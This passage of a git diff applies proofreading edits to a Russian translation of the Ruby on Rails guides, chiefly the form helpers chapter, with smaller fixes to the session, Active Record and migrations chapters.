Ruby, например экземпляры моделей), так как сервер может не собрать их между запросами, что приведет к ошибке. +CookieStore могут хранить около 4kB данных - намного меньше, чем остальные - но этого обычно хватает. Хранение большего количества данных в сессии не рекомендуется, вне зависимости от того, какое хранилище сессии используется в приложении. Особенно следует избегать хранения в сессии сложных объектов (ничего, кроме простых объектов Ruby, наиболее распространенным примером является экземпляры модели), так как сервер может не собрать их между запросами, что приведет к ошибке. -Если пользовательские сессии не хранят критичные данные или нет необходимости в ее сохранности на долгий период (скажем, если вы используете ее для сообщений во flash), можете рассмотреть использование `ActionDispatch::Session::CacheStore`. Он сохранит сессии с использованием реализации кэша, которую вы настроили для своего приложения. Преимущество этого в том, что для хранения сессий можно использовать существующую инфраструктуру кэширования без необходимости дополнительных настроек или администрирования. Минус, разумеется, в том, что сессии будут недолговечными и время от времени исчезать. +Если пользовательские сессии не хранят критически важные данные или нет необходимости в ее сохранности на долгий период (скажем, если она используется только для флеш-сообщений), можно рассмотреть использование `ActionDispatch::Session::CacheStore`. Он сохранит сессии с использованием реализации кэша, которая была настроена для приложения. Преимущество этого заключается в том, что для хранения сессий можно использовать существующую инфраструктуру кэширования без необходимости дополнительных настроек или администрирования. Недостатком, разумеется, является то, что сессии будут недолговечными и могут исчезнуть в любое время. Читайте подробнее о хранении сессий в [Руководстве по безопасности](/ruby-on-rails-security-guide). Если вы нуждаетесь в другом механизме хранения сессий, измените его в инициализаторе: + + + + + + + + + + + + + + + + + + + ```ruby # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information diff --git a/source/action_view_overview.md b/source/action_view_overview.md index 6ffdd8c3..9f5a6e21 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -1279,7 +1279,7 @@ password_field_tag 'pass' #### radio_button_tag -Создает радио-кнопку; используйте группу радио-кнопок с одинаковым именем, чтобы пользователи могли выбирать из группы опций. +Создает радиокнопку; используйте группу радиокнопок с одинаковым именем, чтобы пользователи могли выбирать из группы опций. ```ruby radio_button_tag 'gender', 'male' diff --git a/source/active_record_basics.md b/source/active_record_basics.md index 9247095e..9c18f4ea 100644 --- a/source/active_record_basics.md +++ b/source/active_record_basics.md @@ -101,8 +101,8 @@ p.name = "Some Book" puts p.name # "Some Book" ``` -Переопределение соглашений о именовании ---------------------------------------- +Переопределение соглашений об именовании +---------------------------------------- Но что, если вы следуете другому соглашению по именованию или используете новое приложение Rails со старой базой данных? Не проблема, можно просто переопределить соглашения по умолчанию. @@ -157,7 +157,7 @@ user.occupation = "Code Artist" Вызов `user.save` передаст запись в базу данных. -Наконец, если представлен блок и `create`, и `new` передадут новый объект в этот блок для инициализации: +Наконец, если предоставлен блок и `create`, и `new` передадут новый объект в этот блок для инициализации: ```ruby user = User.new do |u| @@ -168,7 +168,7 @@ end ### Чтение -Active Record предоставляет богатый API для доступа к данным в базе данных. Ниже несколько примеров различных методов доступа к данным, представленных Active Record. +Active Record предоставляет богатый API для доступа к данным в базе данных. Ниже несколько примеров различных методов доступа к данным, предоставленных Active Record. ```ruby # возвратит коллекцию со всеми пользователями @@ -254,7 +254,7 @@ user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be bl Rails представляет DSL для управления схемой базы данных, называемый миграциями. Миграции хранятся в файлах, запускаемых для любой базы данных, которую поддерживает Active Record, с использованием `rake`. Вот миграция, создающая таблицу: ```ruby -class CreatePublications < ActiveRecord::Migration[5.0] # ActiveRecord::Migration до Rails 5.0 +class CreatePublications < ActiveRecord::Migration[5.0] def change create_table :publications do |t| t.string :title diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index 9655a6f1..b6d93b59 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -556,7 +556,7 @@ class FixupExampleMigration < ActiveRecord::Migration[5.0] end ``` -Метод `revert` также может принимать блок. Это может быть полезно для отката выбранной части предыдущих миграций. Для примера, давайте представим что `ExampleMigration` закоммичена, а позже мы решили, что было бы лучше использовать валидации Active Record, вместо ограничения `CHECK`, для проверки zipcode. +Метод `revert` также может принимать блок. Это может быть полезно для отката выбранной части предыдущих миграций. Для примера, давайте представим, что `ExampleMigration` закоммичена, а позже мы решили, что было бы лучше использовать валидации Active Record, вместо ограничения `CHECK`, для проверки zipcode. ```ruby class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0] diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 0e07a73d..f967c94b 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -975,7 +975,7 @@ end NOTE: Определено в `active_support/core_ext/class/attribute_accessors.rb`. -### Субклассы и потомки +### Подклассы и потомки #### `subclasses` diff --git a/source/form_helpers.md b/source/form_helpers.md index 1c2ce425..8a6a6492 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -7,13 +7,13 @@ * Как создавать формы поиска и подобного рода формы, не представляющие определенную модель вашего приложения * Как создавать модельно-ориентированные формы для создания и редактирования определенных записей базы данных -* Как создавать селект-боксы с различными типами данных +* Как создавать списки выбора с различными типами данных * Какие хелперы даты и времени предоставляет Rails * В чем особенность формы загрузки файлов * Как отправлять формы на внешние ресурсы и указывать настройку `authenticity_token`. * Как создавать сложные формы -NOTE: Это руководство не претендует на полную документацию по доступным хелперам форм и их аргументам. Если нужна полная информация, посетите [документацию по Rails API](http://api.rubyonrails.org/). +NOTE: Это руководство не является подробной документацией по доступным хелперам форм и их аргументам. Для получения полной информации, обратитесь к [документации по Rails API](http://api.rubyonrails.org/). Разбираемся с простыми формами ------------------------------ @@ -26,7 +26,7 @@ NOTE: Это руководство не претендует на полную <% end %> ``` -При подобном вызове без аргументов, он создает тег `
    `, который, при отправке, сформирует POST-запрос к текущей странице. Например, предположим текущая страница `/home/index`, тогда сгенерированный HTML будет выглядеть так (некоторые переводы строк добавлены для читаемости): +При подобном вызове без аргументов, он создает тег ``, который при отправке сформирует POST-запрос на текущую страницу. Например, предположим текущая страница `/home/index`, тогда сгенерированный HTML будет выглядеть следующим образом (некоторые разрывы строк добавлены для читаемости): ```html @@ -38,7 +38,7 @@ NOTE: Это руководство не претендует на полную Можно увидеть, что HTML содержит элемент `input` с типом `hidden`. Этот `input` важен, поскольку без него форма не может быть успешно отправлена. Скрытый элемент input с атрибутом name `utf8` обеспечивает, чтобы браузер правильно относился к кодировке вашей формы, он генерируется для всех форм, у которых action равен "GET" или "POST". -Второй элемент input с именем `authenticity_token` является особенностью безопасности Rails, называемой **защитой от подделки межсайтовых запросов**, и хелперы форм генерируют его для каждой формы, у которых action не "GET" (если эта особенность безопасности включена). Подробнее об этом можно прочитать в [Руководстве Ruby On Rails по безопасности](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). +Второй элемент input с именем `authenticity_token` является особенностью безопасности Rails, называемой **защитой от подделки межсайтовых запросов**, и хелперы форм генерируют его для каждой формы, у которых action не "GET" (при условии, что эта особенность безопасности включена). Подробнее об этом можно прочитать в [Руководстве Ruby On Rails по безопасности](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). ### Характерная форма поиска @@ -70,11 +70,11 @@ NOTE: Это руководство не претендует на полную
    ``` -TIP: Для каждого поля формы генерируется атрибут ID из его имени (`"q"` в примере). Эти ID могут быть очень полезны для стилей CSS или управления полями форм с помощью JavaScript. +TIP: Для каждого поля ввода формы генерируется атрибут ID из его имени (`"q"` в примере). Эти ID могут быть очень полезны для стилизации CSS или управления элементами форм с помощью JavaScript. Кроме `text_field_tag` и `submit_tag` имеется похожий хелпер для _каждого_ элемента управления формой в HTML. -IMPORTANT: Всегда используйте "GET" как метод для форм поиска. Это позволит пользователям сохранить в закладки определенный поиск и потом вернуться к нему. В более общем плане Rails призывает вас использовать правильный метод HTTP для экшна. +IMPORTANT: Всегда используйте "GET" как метод для форм поиска. Это позволяет пользователям добавлять в закладки определенный поиск и потом возвращаться к нему. В более общем смысле Rails призывает вас использовать правильный метод HTTP для экшна. ### Несколько хэшей в вызовах хелпера формы @@ -94,11 +94,11 @@ form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_ # => '
    ' ``` -### Хелперы для создания элементов форм +### Хелперы для создания элементов формы -Rails предоставляет ряд хелперов для генерации элементов форм, таких как чекбоксы, текстовые поля, радио-кнопки и так далее. Эти простые хелперы с именами, оканчивающимися на "_tag" (такие как `text_field_tag` и `check_box_tag`), генерируют отдельный элемент ``. Первый параметр у них это всегда имя поля. Когда форма отправлена, имя будет передано среди данных формы, и, в свою очередь, помещено в `params` контроллера со значением, введенным пользователем в это поле. Например, если форма содержит `<%= text_field_tag(:query) %>`, то значение для этого поля можно получить в контроллере с помощью `params[:query]`. +Rails предоставляет ряд хелперов для генерации элементов формы, таких как чекбоксы, текстовые поля, радиокнопки и так далее. Эти простые хелперы с именами, оканчивающимися на `_tag` (такие как `text_field_tag` и `check_box_tag`), генерируют только один элемент ``. Первый параметр у них это всегда имя поля ввода. Когда форма будет отправлена, имя будет передано вместе с данными формы, и, в свою очередь, помещено в `params` в контроллере со значением, введенным пользователем для этого поля. Например, если форма содержит `<%= text_field_tag(:query) %>`, то значение этого поля можно получить в контроллере с помощью `params[:query]`. -При именовании полей Rails использует определенные соглашения, делающие возможным отправлять параметры с нескалярными величинами, такие как массивы и хэши, которые также будут доступны в `params`. Об этом можно прочесть в [разделе про именование параметров](#understanding-parameter-naming-conventions). Для подробностей по точному использованию этих хелперов, обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). +При именовании полей ввода Rails использует определенные соглашения, делающие возможным отправлять параметры с нескалярными величинами, такими как массивы и хэши, которые также будут доступны в `params`. Подробнее об этом можно прочесть в [разделе про именование параметров](#understanding-parameter-naming-conventions). Для подробностей по точному использованию этих хелперов, обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). #### Чекбоксы @@ -120,11 +120,11 @@ Rails предоставляет ряд хелперов для генераци ``` -Первый параметр у `check_box_tag`, разумеется, - это имя поля. Второй параметр, естественно, - это значение поля. Это значение будет включено в данные формы (и будет присутствовать в `params`), когда чекбокс нажат. +Первый параметр у `check_box_tag` - это, разумеется, имя поля ввода. Второй параметр - это, естественно, значение поля ввода. Это значение будет включено в данные формы (и будет присутствовать в `params`), когда чекбокс нажат. -#### Радио-кнопки +#### Радиокнопки -Радио-кнопки, чем-то похожие на чекбоксы, - это элементы управления, которые определяют набор взаимоисключающих опций (т.е. пользователь может выбрать только одну): +Радиокнопки, чем-то похожие на чекбоксы, являются элементами управления, которые определяют набор взаимоисключающих опций (т.е. пользователь может выбрать только одну): ```erb <%= radio_button_tag(:age, "child") %> @@ -142,13 +142,13 @@ Rails предоставляет ряд хелперов для генераци ``` -Как и у `check_box_tag`, второй параметр для `radio_button_tag` это значение поля. Так как эти две радио-кнопки имеют одинаковое имя (`age`), пользователь может выбрать одну, и `params[:age]` будет содержать или `"child"`, или `"adult"`. +Как и у `check_box_tag`, второй параметр для `radio_button_tag` - это значение поля ввода. Так как эти две радиокнопки имеют одинаковое имя (`age`), пользователь может выбрать одну, и `params[:age]` будет содержать или `"child"`, или `"adult"`. -NOTE: Всегда используйте метки (labels) для чекбоксов и радио-кнопок. Они связывают текст с определенной опцией и, предоставляя большее пространство для щелчка, упрощают ввод. +NOTE: Всегда используйте метки (labels) для чекбоксов и радиокнопок. Они связывают текст с определенной опцией и, предоставляя большее пространство для щелчка, упрощают выбор пользователем нужного пункта радиокнопки. ### Другие интересные хелперы -Среди других элементов управления формой стоит упомянуть текстовое поле, поле пароля, скрытое поле, поля поиска, ввода телефона, даты, времени, цвета, локальных даты-времени, месяца, недели, url, email, числовые и интервалов: +Среди других элементов управления формой стоит упомянуть текстовые области и следующие поля: паролей, скрытые, поиска, ввода телефона, даты, времени, цвета, локальных даты-времени, месяца, недели, url, email, числовые и интервалов: ```erb <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> @@ -168,7 +168,7 @@ NOTE: Всегда используйте метки (labels) для чекбо <%= range_field(:product, :discount, in: 1..100) %> ``` -результат: +Результат: ```html @@ -190,7 +190,7 @@ NOTE: Всегда используйте метки (labels) для чекбо Скрытые поля не отображаются пользователю, вместо этого они содержат данные, как и любое текстовое поле. Их значения могут быть изменены с помощью JavaScript. -IMPORTANT: Поля поиска, ввода телефона, даты, времени, цвета, даты-времени, локальных даты-времени, месяца, недели, url, email, числовые и интервалов - это элементы управления HTML5. Если необходимо, чтобы у вашего приложения была совместимость со старыми браузерами, вам необходим HTML5 polyfill (предоставляемый с помощью CSS и/или JavaScript). Хотя в таких решениях [нет недостатка](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), популярным инструментом на сегодняшний момент является [Modernizr](http://www.modernizr.com/), предоставляющий простой способ добавить функциональность, основанную на присутствии обнаруженных особенностей HTML5. +IMPORTANT: Поля поиска, ввода телефона, даты, времени, цвета, даты-времени, локальных даты-времени, месяца, недели, url, email, числовые и интервалов - это элементы управления HTML5. Если необходимо, чтобы у вашего приложения была совместимость со старыми браузерами, вам необходим HTML5 polyfill (предоставляемый с помощью CSS и/или JavaScript). Хотя в таких решениях [нет недостатка](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), популярным инструментом на сегодняшний момент является [Modernizr](http://www.modernizr.com/), предоставляющий простой способ добавить функциональность, основанной на обнаружении установленных особенностей HTML5. TIP: Если используются поля для ввода пароля (для любых целей), вы можете настроить свое приложение для предотвращения появления их значений в логах приложения. Это можно изучить в [Руководстве Ruby On Rails по безопасности](/ruby-on-rails-security-guide). @@ -199,9 +199,9 @@ TIP: Если используются поля для ввода пароля ( ### Хелперы объекта модели -Наиболее частыми задачами для форм являются редактирование или создание объекта модели. В то время как хелперы `*_tag`, конечно, могут быть использованы для этой задачи, они несколько многословны, так как для каждого тега вам придется обеспечить использование правильного имени параметра и установку подходящего значения поля по умолчанию. Rails предоставляет методы, подогнанные под эту задачу. У этих хелперов отсутствует суффикс `_tag`, например, `text_field`, `text_area`. +Наиболее частыми задачами для форм являются редактирование или создание объекта модели. В то время как хелперы `*_tag`, конечно, могут быть использованы для этой задачи, они несколько многословны, так как для каждого тега вам придется обеспечить использование правильного имени параметра и установку подходящего значения поля ввода по умолчанию. Rails предоставляет хелперы, адаптированные под эту задачу. У этих хелперов отсутствует суффикс `_tag`, например, `text_field`, `text_area`. -У этих хелперов первый аргумент - это имя переменной экземпляра, а второй - это имя метода (обычно атрибутного), вызываемого для этого объекта. Rails установит значение элемента управления равным возвращаемому значению метода объекта и установит подходящее имя поля. Если ваш контроллер определил `@person` и имя этой персоны Henry, тогда форма, содержащая: +Для этих хелперов первый аргумент - это имя переменной экземпляра, а второй - это имя метода (обычно атрибутного), вызываемого на этом объекта. Rails установит значение value элемента управления input равным возвращаемому значению этого метода для объекта и установит подходящее имя поля ввода. Если ваш контроллер определил `@person` и имя этой персоны Henry, тогда форма, содержащая: ```erb <%= text_field(:person, :name) %> @@ -213,7 +213,7 @@ TIP: Если используются поля для ввода пароля ( ``` -После подтверждения формы, значение, введенное пользователем, будет храниться в `params[:person][:name]`. Хэш `params[:person]` годен для передачи в `Person.new` или, если `@person` - это экземпляр Person, в `@person.update`. Хотя имя атрибута - очень распространенный второй параметр для этих хелперов, он не является обязательным. В вышеупомянутом примере, до тех пор пока объекты person имеют методы `name` и `name=`, Rails будет удовлетворен. +После подтверждения формы, значение, введенное пользователем, будет храниться в `params[:person][:name]`. Хэш `params[:person]` подходит для передачи в `Person.new` или, если `@person` - это экземпляр Person, в `@person.update`. Хотя имя атрибута - наиболее распространен как второй параметр для этих хелперов, он не является обязательным. В вышеприведенном примере, до тех пор пока объекты person имеют методы `name` и `name=`, Rails будет удовлетворен. WARNING: Необходимо передавать имя переменной экземпляра, т.е. `:person` или `"person"`, а не фактический экземпляр объекта вашей модели. @@ -223,7 +223,7 @@ Rails предоставляет хелперы для отображения о Хотя комфортность несколько улучшилась, она еще далека от совершенства. Если у `Person` много атрибутов для редактирования, тогда мы должны повторить имя редактируемого объекта много раз. То, что мы хотим сделать, - это как-то привязать форму к объекту модели, что как раз осуществляется с помощью `form_for`. -Допустим у нас есть контроллер для работы со статьями `articles_controller.rb`: +Допустим у нас есть контроллер для работы со статьями `app/controllers/articles_controller.rb`: ```ruby def new @@ -231,7 +231,7 @@ def new end ``` -Соответствующая вьюха `articles/new.html.erb:`, использующая `form_for`, выглядит так +Соответствующая вьюха `app/views/articles/new.html.erb`, использующая `form_for`, выглядит так: ```erb <%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %> @@ -244,7 +244,7 @@ end Следует отметить несколько вещей: * `@article` - это фактический объект, который редактируется. -* Здесь есть одиночный хэш опций. Опции маршрутизации передаются в хэше `:url`, опции HTML передаются в хэше `:html`. Также для формы можно предоставить опцию `:namespace`, чтобы быть уверенным в уникальности атрибутов id элементов формы. Атрибут namespace будет префиксом с подчеркиванием в генерируемых для HTML id. +* Здесь есть одиночный хэш опций. Опции маршрутизации передаются в хэше `:url`, опции HTML передаются в хэше `:html`. Также для формы можно предоставить опцию `:namespace`, чтобы быть уверенным в уникальности атрибутов id элементов формы. Генерируемые для HTML id будут начинаться с префикса, заданного атрибутом namespace, плюс подчеркивание. * Метод `form_for` предоставляет объект **form builder** (переменная `f`). * Методы создания элементов управления формой вызываются *для* объекта form builder `f`. @@ -258,11 +258,11 @@ end
    ``` -Имя, переданное в `form_for`, контролирует ключ, используемый в `params` для доступа к значениям формы. В примере имя `article`, и, таким образом, все поля формы имеют имена `article[attribute_name]`. Соответственно, в экшне `create` хэш `params[:article]` имеет ключи `:title` и `:body`. О значимости имен полей ввода подробнее можно прочитать [в разделе про имена параметров.](#understanding-parameter-naming-conventions) +Имя, переданное в `form_for`, контролирует ключ, используемый в `params` для доступа к значениям формы. В примере имя `article`, и поэтому все поля ввода имеют имена формы `article[attribute_name]`. Соответственно, в экшне `create` хэш `params[:article]` имеет ключи `:title` и `:body`. Подробнее о значении имен полей ввода можно прочитать [в разделе про именование параметров.](#understanding-parameter-naming-conventions) Методы хелпера, вызываемые из form builder, идентичны хелперам объекта модели, за исключением того, что не нужно указывать, какой объект будет редактироваться, так как это уже регулируется в form builder. -Можно создать подобное привязывание без фактического создания тега `
    ` с помощью хелпера `fields_for`. Это полезно для редактирования дополнительных объектов модели в той же форме. Например, если имеем модель `Person` со связанной моделью `ContactDetail`, Вы можете создать форму для создания обеих моделей подобным образом: +Можно создать подобное привязывание без фактического создания тега `` с помощью хелпера `fields_for`. Это полезно для редактирования дополнительных объектов модели в той же форме. Например, если имеется модель `Person` со связанной моделью `ContactDetail`, можно создать форму для создания обеих моделей подобным образом: ```erb <%= form_for @person, url: {action: "create"} do |person_form| %> @@ -282,7 +282,7 @@ end
    ``` -Объект, предоставляемый `fields_for`, - это form builder, подобный тому, который предоставляется `form_for` (фактически `form_for` внутри себя вызывает `fields_for`). +Объект, предоставляемый `fields_for` - это form builder, подобный тому, который предоставляется `form_for` (фактически `form_for` внутри себя вызывает `fields_for`). ### Положитесь на идентификацию записи @@ -292,7 +292,7 @@ end resources :articles ``` -TIP: Объявление ресурса имеет несколько побочных эффектов. Смотрите [Роутинг в Rails](/rails-routing) для подробностей по настройке и использованию ресурсов. +TIP: Объявление ресурса имеет несколько побочных эффектов. Смотрите [Роутинг в Rails](/rails-routing) для получения более подробной информации по настройке и использованию ресурсов. Когда работаем с ресурсами RESTful, вызовы `form_for` могут стать значительно проще, если их основывать на **идентификации записи**. Вкратце, вы должны всего лишь передать экземпляр модели и позволить Rails выяснить имя модели и остальное: @@ -310,15 +310,15 @@ form_for(@article, url: article_path(@article), html: {method: "patch"}) form_for(@article) ``` -Отметьте, как вызов короткого стиля `form_for` остается тем же самым, независимо от того, будет запись новой или существующей. Идентификация записи достаточно сообразительная, чтобы выяснить, новая ли запись, запрашивая `record.new_record?`. Она также выбирает правильный путь для подтверждения и имя, основывающееся на классе объекта. +Отметьте, что вызов короткого стиля `form_for` является практичным, независимо от того, запись новая или уже существует. Идентификация записи достаточно сообразительная, чтобы выяснить, новая ли запись, запрашивая `record.new_record?`. Она также выбирает правильный путь для подтверждения и имя, основанное на классе объекта. -Rails также автоматически установит надлежащие атрибуты формы `class` и `id`: форма, создающая статью, будет иметь `id` и `class` `new_article`. Если редактируется статья с id=23, то `class` будет установлен как `edit_article`, и id - как `edit_article_23`. Эти атрибуты будут опускаться для краткости далее в этом руководстве. +Rails также автоматически установит надлежащие атрибуты формы `class` и `id`: форма, создающая article, будет иметь `id` и `class` равные `new_article`. Если редактируется статья с id=23, то `class` будет установлен как `edit_article`, и id - как `edit_article_23`. Эти атрибуты будут опускаться для краткости далее в остальной части этого руководства. -WARNING: Когда используется STI (single-table inheritance, наследование с единой таблицей) с вашими моделями, нельзя полагаться на идентификацию записей субкласса, если лишь родительский класс определен ресурсом. Вы должны определить имя модели, `:url` и `:method` явно. +WARNING: Когда используется STI (single-table inheritance, наследование с единой таблицей) с вашими моделями, нельзя полагаться на идентификацию записей подкласса, если только их родительский класс определен ресурсом. Необходимо явно указывать имя модели, `:url` и `:method`. #### Работаем с пространствами имен -Если вы создали пространство имен маршрутов, `form_for` также можно изящно сократить. Если у приложения есть пространство имен admin, то +Если создать пространство имен для маршрутов, `form_for` также можно изящно сократить. Если в приложении есть пространство имен admin, то ```ruby form_for [:admin, @article] @@ -334,9 +334,9 @@ form_for [:admin, :management, @article] ### Как формы работают с методами PATCH, PUT или DELETE? -Фреймворк Rails поддерживает дизайн RESTful в ваших приложениях, что означает частое использование запросов "PATCH" и "DELETE" (помимо "GET" и "POST"). Однако, большинство браузеров _не поддерживают_ методы, иные, чем "GET" и "POST", когда они исходят от подтверждаемых форм. +Фреймворк Rails поддерживает стиль RESTful в ваших приложениях, что означает частое использование запросов "PATCH" и "DELETE" (помимо "GET" и "POST"). Однако, большинство браузеров _не поддерживают_ методы, отличные от "GET" и "POST", когда дело доходит до подтверждения форм. -Rails работает с этой проблемой, эмулируя другие методы с помощью POST со скрытым полем, названным `"_method"`, который установлен для отражения желаемого метода: +Rails работает с этой проблемой, эмулируя другие методы с помощью POST со скрытым полем, названным `"_method"`, который установлен для отображение желаемого метода: ```ruby form_tag(search_path, method: "patch") @@ -353,14 +353,14 @@ form_tag(search_path, method: "patch") ``` -При парсинге данных POST, Rails принимает в счет специальный параметр `_method` и действует с ним, как будто бы был определен этот метод HTTP ("PATCH" в этом примере). +При парсинге данных, отправленных с помощью POST, Rails принимает во внимание специальный параметр `_method` и ведет себя так, как будто бы в нем был определен этот метод HTTP ("PATCH" в этом примере). Легкое создание списков выбора ------------------------------ -Списки выбора в HTML требуют значительной верстки (один элемент `OPTION` для каждого варианта выбора), поэтому имеет большой смысл создавать их динамически. +Списки выбора в HTML требуют значительного количества разметки (один элемент `OPTION` для каждого варианта выбора), поэтому целесообразнее создавать их динамически. -Вот как может выглядеть верстка: +Вот как может выглядеть разметка: ```html ``` -Тут мы имеем перечень городов, имена которых представлены пользователю. Самому приложению для обработки нужен только их ID, поэтому он используется как атрибут value варианта выбора. Давайте посмотрим, как Rails может нам помочь. +Здесь есть перечень городов, имена которых представлены пользователю. Самому приложению для обработки нужен только их ID, поэтому он используется как атрибут value варианта выбора. Давайте посмотрим, как Rails может нам помочь. ### Теги Select и Option -Наиболее простой хелпер - это `select_tag`, который, как следует из имени, просто создает тег `SELECT`, инкапсулирующий строку опций: +Наиболее простой хелпер - это `select_tag`, который, как следует из имени, просто создает тег `SELECT`, инкапсулирующий строку option (вариантов выбора): ```erb <%= select_tag(:city_id, '...') %> @@ -395,7 +395,7 @@ form_tag(search_path, method: "patch") Первый аргумент для `options_for_select` - это вложенный массив, в котором каждый элемент содержит два элемента: текст варианта (название города) и значение варианта (id города). Значение варианта - это то, что будет передано в ваш контроллер. Часто бывает, что значение - это id соответствующего объекта базы данных, но это не всегда так. -Зная это, вы можете комбинировать `select_tag` и `options_for_select` для достижения желаемой полной верстки: +Зная это, вы можете комбинировать `select_tag` и `options_for_select` для достижения желаемой полной разметки: ```erb <%= select_tag(:city_id, options_for_select(...)) %> @@ -413,9 +413,9 @@ form_tag(search_path, method: "patch") ... ``` -Всякий раз, когда Rails видит внутреннее значение создаваемого варианта, соответствующего этому значению, он добавит атрибут `selected` к нему. +Всякий раз, когда Rails видит, что внутреннее значение создаваемого варианта выбора соответствует этому значению, он добавит атрибут `selected` к этому варианту. -WARNING: Когда отсутствует `:include_blank` или `:prompt`, `:include_blank` становится true, если атрибут `required` - true, отображаемый `size` - 1 и `multiple` не true. +WARNING: Когда отсутствует `:include_blank` или `:prompt`, `:include_blank` становится true, если атрибут `required` - true, отображаемый `size` - 1 и `multiple` не равен true. С помощью хэшей можно добавить произвольные атрибуты в option: @@ -436,7 +436,7 @@ WARNING: Когда отсутствует `:include_blank` или `:prompt`, `: ### Списки выбора для работы с моделями -В большинстве случаев элементы управления формой будут связаны с определенной моделью базы данных, и, как вы наверное и ожидали, Rails предоставляет хелперы, предназначенные для этой цели. Как в случае с другими хелперами форм, когда работаете с моделями, суффикс `_tag` отбрасывается от `select_tag`: +В большинстве случаев элементы управления формой будут связаны с определенной моделью базы данных, и, как вы, наверное, и ожидали, Rails предоставляет хелперы, предназначенные для этой цели. Как в случае с другими хелперами форм, когда работаете с моделями, суффикс `_tag` отбрасывается от `select_tag`: ```ruby # контроллер: @@ -448,7 +448,7 @@ WARNING: Когда отсутствует `:include_blank` или `:prompt`, `: <%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> ``` -Отметьте, что третий параметр - массив опций - имеет тот же самый тип аргумента, что мы передавали в `options_for_select`. Преимущество в том, что не стоит беспокоиться об предварительном выборе правильного города, если пользователь уже выбрал его - Rails сделает это за вас, прочитав из атрибута `@person.city_id`. +Отметьте, что третий параметр - массив вариантов выбора - имеет тот же самый тип аргумента, что мы передавали в `options_for_select`. Одно из преимуществ заключается в том, что не стоит беспокоиться об предварительном выборе правильного города, если пользователь уже выбрал его - Rails сделает это за вас, прочитав из атрибута `@person.city_id`. Как и в других хелперах, если хотите использовать хелпер `select` в form builder с областью видимостью объекта `@person`, синтаксис будет такой: @@ -467,30 +467,30 @@ WARNING: Когда отсутствует `:include_blank` или `:prompt`, `: <% end %> ``` -WARNING: При использовании `select` (или подобного хелпера, такого как `collection_select`, `select_tag`), чтобы установить связь `belongs_to`, вы должны передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. Если определите `city` вместо `city_id`, Active Record вызовет ошибку в строке `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)`, когда вы передадите хэш `params` в `Person.new` или `update`. Можно взглянуть на это по другому, что хелперы форм редактируют только атрибуты. Также вам стоит побеспокоиться о потенциальных последствиях безопасности, если разрешить пользователям редактировать внешние ключи напрямую. +WARNING: При использовании `select` (или подобных хелперов, таких как `collection_select`, `select_tag`), чтобы установить связь `belongs_to`, необходимо передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. Если указать `city` вместо `city_id`, Active Record вызовет ошибку в строке `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)`, когда будет переваться хэш `params` в `Person.new` или `update`. Можно взглянуть на это по другому, что хелперы форм только редактируют атрибуты. Также стоит побеспокоиться о возможных последствиях безопасности, если разрешить пользователям редактировать внешние ключи напрямую. ### Теги варианта выбора из коллекции произвольных объектов -Создание тегов вариантов с помощью `options_for_select` требует, чтобы вы создали массив, содержащий текст и значение для каждого варианта. Но что, если мы имеем модель `City` (вероятно даже модель Active Record) и хотим создать теги вариантов из коллекции этих объектов? Одним из решений будет сделать вложенный массив с помощью итераций: +Создание тегов вариантов с помощью `options_for_select` требует, чтобы был создан массив, содержащий текст и значение для каждого варианта. Но что, если есть модель `City` (вероятно даже модель Active Record) и нужно создать теги вариантов из коллекции этих объектов? Одним из решений будет сделать вложенный массив с помощью итераций по ним: ```erb <% cities_array = City.all.map { |city| [city.name, city.id] } %> <%= options_for_select(cities_array) %> ``` -Хотя это и валидное решение, но Rails предоставляет менее многословную альтернативу: `options_from_collection_for_select`. Этот хелпер принимает коллекцию произвольных объектов и два дополнительных аргумента - имена методов для считывания опций **value** и **text**, соответственно: +Хотя это и валидное решение, но Rails предоставляет менее сложную альтернативу: `options_from_collection_for_select`. Этот хелпер принимает коллекцию произвольных объектов и два дополнительных аргумента: имена методов для считывания опций **value** и **text**, соответственно: ```erb <%= options_from_collection_for_select(City.all, :id, :name) %> ``` -Как следует из имени, это генерирует только теги option. Для генерации работающего списка выбора его необходимо использовать в сочетании с `select_tag`, как это делалось для `options_for_select`. Когда работаем с объектами модели, так же, как `select` комбинирует `select_tag` и `options_for_select`, `collection_select` комбинирует `select_tag` с `options_from_collection_for_select`. +Как следует из имени хелпера, это генерирует только теги option. Для создания работающего списка выбора, его необходимо использовать в сочетании с `select_tag`, как это делалось для `options_for_select`. Когда работаем с объектами модели, так же как `select` комбинирует `select_tag` и `options_for_select`, `collection_select` комбинирует `select_tag` с `options_from_collection_for_select`. ```erb <%= collection_select(:person, :city_id, City.all, :id, :name) %> ``` -Как и с другими хелперами, если вы хотите использовать `collection_select` в связке с form builder-ом привязанным к объекту `@person`, синтаксис будет следующим: +Как и с другими хелперами, если нужно использовать хелпер `collection_select` в связке с form builder, привязанным к объекту `@person`, синтаксис будет следующим: ```erb <%= f.collection_select(:city_id, City.all, :id, :name) %> @@ -498,7 +498,7 @@ WARNING: При использовании `select` (или подобного Напомним, что `options_from_collection_for_select` в `collection_select` - то же самое, что и `options_for_select` в `select`. -NOTE: Пары, переданные в `options_for_select` должны сперва иметь имя, затем id, однако для `options_from_collection_for_select` первый аргумент - это метод значения, а второй аргумент - метод текста. 